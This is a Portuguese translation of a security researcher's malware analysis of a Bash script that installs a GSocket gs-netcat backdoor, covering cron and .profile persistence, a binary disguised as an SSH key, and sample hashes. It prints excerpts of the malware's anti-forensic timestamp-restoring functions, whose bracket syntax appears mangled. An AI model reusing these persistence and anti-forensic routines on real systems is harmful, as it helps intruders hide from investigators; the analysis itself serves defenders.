Backdoor GSocket entregue por meio de script Bash

Ontem, descobri um script Bash malicioso que instala um backdoor GSocket no computador da vítima. Não sei a origem do script nem como ele é entregue à vítima.

GSocket() é uma ferramenta de rede, mas também uma infraestrutura de retransmissão, que permite a comunicação direta, no estilo peer-to-peer, entre sistemas usando um segredo compartilhado em vez de endereços IP ou portas abertas. Funciona fazendo com que ambos os lados se conectem a uma rede de retransmissão global. Ferramentas como o gs-netcat podem fornecer shells remotos, transferência de arquivos ou tunelamento e contornar os controles de segurança clássicos. O script que encontrei usa uma cópia do gs-netcat, mas a forma como ele implementa persistência e técnicas anti-forenses merece uma revisão.

Algumas semanas atrás, encontrei um exemplo que usava a conectividade GSocket como canal C2. Isso me deixou curioso e comecei a procurar mais amostras. Bingo! O novo que encontrei (SHA256:6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286(2)) foi detectado por apenas 17 soluções antivírus no VT. O script não está ofuscado e ainda tem comentários, então acho que foi carregado no VT para fins de “teste” pelo desenvolvedor (apenas um palpite)

Vamos dar uma olhada nas técnicas utilizadas. Ao executá-lo em uma sandbox, você verá o seguinte:

Observe a identificação da ferramenta (“G-Socket Bypass Stealth”) e a referência a “@bboscat”(3)

Um cliente GSocket é baixado, iniciado e está conversando com o seguinte IP:

O malware implementa persistência por meio de diferentes técnicas conhecidas no Linux. Primeiro, um cron job é criado:

A cada hora principal, o gs-netcat disfarçado será eliminado (se estiver em execução) e reiniciado. Para melhorar a persistência, o mesmo código é adicionado ao .profile da vítima:

O malware em si é copiado em .ssh/putty e o segredo compartilhado do GSocket é armazenado em um arquivo de chave SSH falso:

O arquivo ELF id_rsa (SHA256: d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa) é a ferramenta gs-netcat baixada diretamente do G-Socket CDN.

Ok, vamos dar uma olhada em uma técnica anti-forense interessante implementada no script Bash. As operações de arquivo não são simplesmente executadas usando comandos clássicos como cp, rm, mv, etc. Elas são incorporadas em funções “auxiliares” com um sistema de rastreamento/restauração de carimbo de data/hora para que o malware possa posteriormente ocultar alterações no sistema de arquivos. Aqui está um exemplo com uma função que criará um arquivo:

mk_file()
{
  local fn
  local oldest
  local pdir
  local pdir_added
  fn="$1"
  local exists

  # DEBUGF "${CC}MK_FILE($fn)${CN}"
  pdir="$(dirname "$fn")"
  (( -e "$fn" )) && exists=1

  ts_is_marked "$pdir" || {
    # HERE: Parent not tracked
    _ts_add "$pdir" ""
    pdir_added=1
  }

  ts_is_marked "$fn" || {
    # HERE: Not yet tracked
    _ts_get_ts "$fn"
    # Do not add creation fails.
    touch "$fn" 2>/dev/null || {
      # HERE: Permission denied
      (( -n "$pdir_added" )) && {
        # Remove pdir if it was added above
        # Bash <5.0 does not support arr(-1)
        # Quote (") to silence shellcheck
        unset "_ts_ts_a(${#_ts_ts_a(@)}-1)"
        unset "_ts_fn_a(${#_ts_fn_a(@)}-1)"
        unset "_ts_mkdir_fn_a(${#_ts_mkdir_fn_a(@)}-1)"
      }
      return 69 # False
    }
    (( -z $exists )) && chmod 600 "$fn"
    _ts_ts_a+=("$_ts_ts")
    _ts_fn_a+=("$fn");
    _ts_mkdir_fn_a+=("")
    return
  }

  touch "$fn" 2>/dev/null || return
  (( -z $exists )) && chmod 600 "$fn"
  true
}

Aqui estão também duas funções interessantes:

# Restore timestamp of files
ts_restore()
{
  local fn
  local n
  local ts

  (( ${#_ts_fn_a(@)} -ne ${#_ts_ts_a(@)} )) && { echo >&2 "Ooops"; return; }

  n=0
  while :; do
    (( $n -eq "${#_ts_fn_a(@)}" )) && break
    ts="${_ts_ts_a($n)}"
    fn="${_ts_fn_a($n)}"
    # DEBUGF "RESTORE-TS ${fn} ${ts}"
    ((n++))

    _ts_fix "$fn" "$ts"
  done
  unset _ts_fn_a
  unset _ts_ts_a

  n=0
  while :; do
    (( $n -eq "${#_ts_systemd_ts_a(@)}" )) && break
    ts="${_ts_systemd_ts_a($n)}"
    fn="${_ts_systemd_fn_a($n)}"
    # DEBUGF "RESTORE-LAST-TS ${fn} ${ts}"
    ((n++))

    _ts_fix "$fn" "$ts" "symlink"
  done
  unset _ts_systemd_fn_a
  unset _ts_systemd_ts_a
}

ts_is_marked()
{
  local fn
  local a
  fn="$1"

  for a in "${_ts_fn_a(@)}"; do
    (( "$a" = "$fn" )) && return 0 # True
  done

  return 1 # False
}

ts_is_marked() verifica se um arquivo/diretório já está registrado para restauração de carimbo de data/hora, evitando rastreamento duplicado e garantindo que a manipulação anti-forense de carimbo de data/hora do script funcione corretamente. Pedi ao ChatGPT para gerar um gráfico que explicasse esta técnica:

Finalmente, por ser totalmente baseado em Bash, o script infectará todos os tipos de UNIX, incluindo MacOS:

(( -z "$OSTYPE" )) && {
  local osname
  osname="$(uname -s)"
  if (( "$osname" == *FreeBSD* )); then
    OSTYPE="FreeBSD"
  elif (( "$osname" == *Darwin* )); then
    OSTYPE="darwin22.0"
  elif (( "$osname" == *OpenBSD* )); then
    OSTYPE="openbsd7.3"
  elif (( "$osname" == *Linux* )); then
    OSTYPE="linux-gnu"
  fi
}

(1)
(2) https://www.virustotal.com/gui/file/6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286/telemetria
???????(3) https://zone-xsec.com/archive/attacker/%40bboscat

Xavier Mertens (@xme)
Xameco
Manipulador ISC Sênior – Consultor Freelance de Segurança Cibernética

Chave PGP